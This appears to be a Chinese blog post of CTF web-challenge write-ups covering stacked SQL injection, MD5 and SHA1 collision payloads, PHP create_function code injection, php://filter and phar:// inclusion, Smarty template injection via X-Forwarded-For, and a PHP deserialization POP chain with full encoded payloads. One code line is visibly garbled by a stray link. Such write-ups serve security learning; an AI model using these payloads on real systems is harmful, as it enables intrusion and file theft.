抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

比较基础的一些web题③

[强网杯 2019]随便注

为SQL注入,测试如下

堆叠注入

堆叠注入大概的意思就是用;连接起两个语句,然后让他们一起执行

1
2
3
4
5
6
7
8
9
10
11
12
1          //正常回显
1' //报错
1' or 1=1 //报错
1' or 1=1# //正常回显,则为字符型单引号注入,接下来判断字段数
1' order by 2# //正常回显
1' order by 3# //报错,字段数为2
1' union select 1,2# //判断回显位,然后回显了过滤的东西
//return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
//查看数据库
1';show tables;# //查表
1'; show columns from `1919810931114514`; # //查看字段信息!!注意在那个表的两边要打反引号
//!!!!!!!!!!使用show 命令查看表中的「字段」,注意表名要用反引号包裹,尤其当表名为数字的时候

上面我们已经知道flag的文件了,但是过了滤了很多东西,我们要怎么获取这个flag呢
接下来就有几种方法了,方法来自参考文章

alter语句

alter
修改表名 alter table 表名 rename 新表名;
修改字段名 alter table 表名 change 旧字段名 新字段名 类型;

通过题目观察 表单有两列, 也就是1 和 hahahah
我们可以推测 这个表单其实是从表中以id字段为索引获取到内容 然后返回到前台
并且后台的查询语句为”select * from words where id='.$_GET['inject'].'

那么 我们就可以通过修改带flag字段的表的名字为words表 然后把flag 字段修改为id
通过三条alter语句来修改

  • 修改words表名为table
    • alter table words rename table;
  • 修改1919810931114514表名为words
    • `alter table 1919810931114514 rename words;
  • 修改新的words表中的flag列名为id
    • alter table words change flag id ;
      得到最终payload 1'; alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag id varchar(50);#

提交之后再输入1,发现没有结果了,那是因为原来的存放有id字段的words表已经变了
我们可以通过让条件永真(输入万能密码),然后查出所有数据,进而获得flag
1' or 1=1#

预编译方式拼接关键字

预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤

格式:

1
2
3
PREPARE 名称 FROM   Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;

举例:查询ID为1的用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;
````
因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:
``1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#``
##### 十六进制编码
我们可以直接将`` select * from `1919810931114514` ``语句进行16进制编码,即:`73656c656374202a2066726f6d20603139313938313039333131313435313460`,替换payload:

`1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#`
同时,我们也可以先定义一个变量并将sql语句初始化,然后调用
`1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#`
##### handler方法
- handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:

```text
打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE

[NISACTF 2022]level-up

打开环境,什么有用的都没有
查看源代码显示:

1
<!-- here is level 1 -->

用disearch扫一下
扫出来个robots.txt,访问一下
显示:

1
Disallow: level_2_1s_h3re.php

访问一下:http://…/level_2_1s_h3re.php
得到level 2的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php  
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>

md5强相等(Md5碰撞)(string类型)

这里我们看到是要我们传入的参数md5之后的值相等,而且三个=,为强比较类型
强比较绕过一般可以用数组进行绕过:

1
array1[]=1&array2[]=1

但是发现不行,因为在定义$a1 和 $a2的时候,把array1和array2强制转换为了string类型,所以就不能利用数组进行绕过
那就只能用md5强碰撞绕过

1
array1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B0%90%968%96%85%2B%9BM%81g%81p%C9%BF4%00%1A%EC%3C%A5%22d%D46%86z%8A%CC%9F%9F%1D%87%19%FE%E2%CA%25%10%D5%E7%E9%DF%FB%9C%CF%00%A1%E96G%DC%F7%7F%2C%9Du%3CcfjtX-j%19%EA0%9BT%CF%F1%04%85WA%0E%F4%E3%EDu%D5%A3l6o%05%FAn%FB%B3KK%91%CFA0J%C1ir%07%9C%1F%9D%91%EB0l%BCb%FD%1DD%18n%AC%D2%CB%C6v%E3%C8W%CCd%15%C2&array2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B0%90%968%96%85%2B%9BM%81g%81p%C9%BF4%00%1A%EC%BC%A5%22d%D46%86z%8A%CC%9F%9F%1D%87%19%FE%E2%CA%25%10%D5%E7%E9%DF%FB%9CO%01%A1%E96G%DC%F7%7F%2C%9Du%3Cc%E6jtX-j%19%EA0%9BT%CF%F1%04%85WA%0E%F4%E3%EDu%D5%A3%EC6o%05%FAn%FB%B3KK%91%CFA0J%C1ir%07%9C%1F%9D%91%EB0l%3Cb%FD%1DD%18n%AC%D2%CB%C6v%E3%C8%D7%CCd%15%C2

!!!这里要注意要用burp来post传参,不然会被二次编码
然后得到

1
Level___3.php

源码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php  
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (sha1($a1) === sha1($a2)){
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>

这里就是sha1强碰撞了

sha1强碰撞

这个和md5差不多,直接放payload

1
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

也记得要用Burp传噢
然后回显

1
level_level_4.php

访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php  
//here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
        die($level5);
    }
    else{
        die("level 4 failed ...");
    }

?>
give me a parameterlevel 4 failed ...

我们看到正则那里过滤了_,但是我们要传的参数名字中含有_,这里就要提到php的一个特性了

php特性:将_解析为空格

php的变量解析绕过, php会把请求参数中的非法字符转为下划线,所以php会将空格解析成_
所以payload为:(在urlencode中空格会被转换为+,所以我们直接写+)

1
NI+SA+=txw4ever

回显:55_5_55.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

这个正则表达式的意思是,参数a开头不能是字符数字和下划线
最后的/i是不区分大小写,/s匹配任何不可见字符 /D如果以$限制结尾字符,则不允许结尾有换行
看到:

1
$a('',$b);

这个网上搜了下相关绕过,发现了这个函数:
特别看到$action('', $arg);就条件反射肯定是create_function()

create_function()函数

1
2
3
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分

create_function()会创建一个匿名函数(lambda样式)

create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。
所以有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?a=\create_function&b=}system('cat /flag');/*
/*
因为不能以那些开头,所以以\转义符号开头
然后$a写函数变量部分,为create_function()
然后$b处写return语句,可写可不写;
可以是:
?a=\create_function&b=}system('cat /flag');/*
也可以是
?a=\create_function&b=return 'qw';}system('cat /flag');/*
然后}闭合else那里的{
后面加上执行命令的语句
最后```
/*将后面的函数注释从而进行任意代码执行漏洞
然后就得到了最终的payload:?a=\create_function&b=}system('cat /flag');/*
*/

NSSCTF{de8e94af-9e79-44ef-8d7d-12617a67d0ed}

[鹏城杯 2022]简单包含

1
2
3
4
 <?php   
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;

直接试试伪协议:

1
2
3
4
5
flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
//发现有绕过,过滤了flag
flag=php://filter/read=convert.base64-encode/resource=/var/www/html/f*
//发现没有反应,那就先查看下源码
flag=php://filter/read=convert.base64-encode/resource=index.php

发现一堆Base64的东西,那就解码,得到:

1
2
3
4
5
6
7
8
9
10
<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>

看到这里我们要使输入的字符数大于800,所以这里我们就输入一定数量的参数才行,所以有:

1
2
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

(这里
(strlen(file_get_contents(‘php://input’)) < 800 && preg_match(‘/flag/‘, $path)
我们要使这句话为false,这样才可以执行else里面的语句,因为我们输入的参数值大于了800,所以第一个为true,所以第二个要输入完整的路径,不能绕过flag,这样让他为false,true&&false=false,就可以执行else里面的语句了)
然后再把传参之后回显的值base64解码即可
NSSCTF{835b7731-e7a2-4e6d-af6b-f7f1d7f713e4}

[NISACTF 2022]babyupload

打开是一个文件上传界面
直接上传php文件不行,而且抓包改后缀也不可以
查看源代码,发现了个

1
<!-- /source -->

访问一下,下载得到了个app.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from flask import Flask, request, redirect, g, send_from_directory  
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db


@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload: <input type="file" name="file"> <input type="submit" value="Upload File" name="submit"></form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

看到这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/upload', methods=['POST'])  
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)

首先是post方式传递路径名字,然后又出现了过滤,表示如果路径名出现了 . ,那就返回403,即上传的文件不能有后缀名

1
2
if "." in file.filename:  
return "Bad filename!", 403

上传文件后生成一个uuid,并将uuid和文件名存入数据库中,并返回文件的uuid。再通过/file/uuid访问文件,通过查询数据库得到对应文件名,在文件名前拼接uploads/后读取该路径下上传的文件。

1
2
3
4
5
6
7
8
9
10
 try:  
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()



with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()

上传的文件没有后缀名,不能直接利用,所以就要利用os.path.join()函数漏洞

os.path.join()函数漏洞

绝对路径拼接漏洞 os.path.join(path,paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
所以当上传的文件名为 /flag时 ,那么进行路径拼接时,uploads/ 将被删除,读取到的就是根目录下的 flag 文件。因此我们只需要传输一个文件名为/flag的文件就可以得到flag的uid。然后再访问对应路径就可以得到flag
直接上传个一句话木马,然后抓包改文件名为/flag,然后访问对应路径,/file/bbfce872aa9a4b26b069edf5776f7389,就可以得到flag
NSSCTF{6b791264-a4c6-4b3d-940d-a0044ef1d0f9}

[CISCN 2019华东南]Web11

抓包看一下,没有什么发现
但是我们看到环境的页面有,XFF头,这个算是给我们的一个提示了

Smarty 模板注入

控制XFF进行命令执行(这是要在前端有IP相关回显的情况)
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
X-Forwarded-For: {{system("ls")}}
{$smarty.version} //smarty的版本号
有下面几种标签可以利用:

可以使用{php}{/php}标签来执行被包裹其中的php指令

{php}phpinfo();{/php}

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。


{literal} 标签

{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。


{if}标签
{if phpinfo()}{/if}

其中,我个人感觉if标签是最常用的,有一些常用的payload

1
2
3
4
5
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}

那这一题,我们直接添加XFF头,然后进行命令执行即可

1
X-Forwarded-For:{if system('cat /flag')}{/if}

NSSCTF{6616e149-8544-417a-9dc5-a4eabd92ccb3}

[HUBUCTF 2022 新生赛]checkin

打开环境,看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php  
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>
username or password error!

说实话,这题只有一颗星不到的难度,但是我看到的时候真觉得哪有那么简单
后面看了下评论区,说小心不要被骗了,于是,再好好来看下代码
首先我们可以确定的是,我们需要GET传参一个info
看到,他给了个注释,提示他这里改变了username和password这两个参数的值
所以这里我们是没有办法比较的,因为我们也不知道他改成了啥
但是,这里可以利用一个特性

弱类型比较:true与非零非NULL变量比较

布尔类型True与非零非NULL变量比较都会是True。
所以我们这里只要把info里的username和password都赋值为true就可以
exp如下:

1
2
3
4
5
6
7
8
<?php   
$a = [
'username' => true,
'password' => true
];
$info = serialize($a);
echo $info;
?>

payload如下:

1
?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

NSSCTF{930a9638-050f-44f3-afe0-1fcefd52ae67}

[NISACTF 2022]babyserialize

反序列化构造pop链(很多魔术方法结合)

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php  
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

这里先写出反序列化常见的魔术方法的调用方法

1
2
3
4
5
6
7
8
9
10
__invoke():以调用函数的方式调用对象的时候,就会调用该方法
__construst():具有构造函数的类在创建新对象的时候,回调此方法
__destruct():反序列化的时候,或者对象销毁的时候调用
__wakeup():反序列化的时候调用
__sleep():序列化的时候调用
__toString():把类当成字符串的时候调用,一般在echo处生效
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__get():读取不可访问或者不存在的属性的时候,进行赋值
__call():在对象中调用一个不可访问的方法的时候,会被执行

首先最后肯定是__invoke() 魔术方法里的eval()函数
然后就是 Ilovetxw这个类中的__toString()方法,用来触发__invoke()
之后看到__set()方法,这种方法中的 strtolower()函数,这个函数的功能是把字符串全部转化为小写
用从__set()反推到__call(),而__call()方法中的fun变量是在four类中定义的私有变量
然后由__call()又反推到了__wakeup()方法,而__wakeup()中的nisa()方法,根本不存在,所以成功无法调用,进而成功触发了__call()
所以总的链子为:

1
NISA(__invoke())-->Ilovetxw(__toString())-->four(__set())-->Ilovetxw(__call())-->TianXiWei(__wakeup())

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
class NISA{
    public $fun;
    public $txw4ever='system("ls");';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun='abc';
}
$qw=new TianXiWei; //创建对象,入口为__wakeup()方法,所以new其所在的类
$qw->ext=new Ilovetxw; //__call()
$qw->ext->huang=new four; //__set()
$qw->ext->huang->a=new Ilovetxw; //__toString()
$qw->ext->huang->a->su=new NISA; //__invoke()
echo urlencode(serialize($qw));
//有private属性的变量,所以序列化之后有不可见字符,所以要urlencode
?>

然后payload为:

1
?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A13%3A%22system%28%22ls%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D;

显示something wrong,看着源码里的最后的几行,猜测可能是过滤了某些东西,经过测试之后,发现是过滤了system,把system改成SysTEm,大小写绕过即可

1
2
3
4
5
6
7
8
9
10
//func checkcheck($data){  
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}

所以最后的payload为:

1
2
3
?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A15%3A%22SysTEm%28%22ls+%2F%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22SysTEM%28%22cat+%2Ffllllllaaag%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

NSSCTF{ba4813c0-9e91-4446-829c-d004ed064d52}
这道题我还看到了一个师傅的另解,太强了!

1
2
3
4
5
6
7
8
9
10
11
class NISA{  
    public $txw4ever='SYSTEM("cat /f*");';
}
class Ilovetxw{
}

$a = new NISA();
$a->fun = ne[[【Web漏洞】SSTI]]w Ilovetxw();
$a->fun->su = $a;
$a = serialize($a);
echo $a;

在NISA:: _ _ wakeup里,做弱比较的时候就能触发__toString

[NISACTF 2022]bingdundun~

打开环境是一个文件上传的界面
但是页面的一句话,算是一个提示吧
仅可以上传墩墩喜欢的【图片或压缩包】文件类型哦
这里说压缩包,我们很容易想到一个伪协议

phar://伪协议

如果同时存在可以上传图片的功能,那我们就可以利用phar://伪协议,如果只能上传zip压缩包文件,那就用zip://伪协议,如果只能上传txt文件,那就用phar://伪协议。phar://zip: //协议差不多,都是可以访问zip格式压缩包内容
这里我直接把一句话木马压缩进压缩包,生成1.zip
然后显示

1
/var/www/html\/xxxxxxxxxxxxxxxxxxxxxxxx.zip 成功上传了冰墩墩喜爱的文件,然后呢?

然后访问

1
2
http://x.x.x:xxxxx/?bingdundun=phar://xxxxxxxxxxxxxxxxxxxxxxxx.zip/1
//注意无论是什么后缀,phar://伪协议会在末尾默认加一个php后缀,所以我们不用加后缀了

然后getshell即可
(这里是允许上传压缩包的,但是万一只允许上传图片的话,可以把php文件打包成zip文件,然后改zip文件的后缀为图片(jpg.png之类的)然后再类似的访问即可:
?file=phar://upload/shell.png/shell)

[SWPUCTF 2022 新生赛]ez_ez_php

打开,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php  
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

呀,没有什么好说的,file参数的开头三个字符要是php
然后提示有有flag.php文件,直接php://filter伪协议读取flag.php

php://filter伪协议

1
2
3
?file=php://filter/read=convert.base64-encode/resource=flag.php
//提示真的flag在flag文件中
?file=php://filter/read=convert.base64-encode/resource=flag

然后base64解密即可
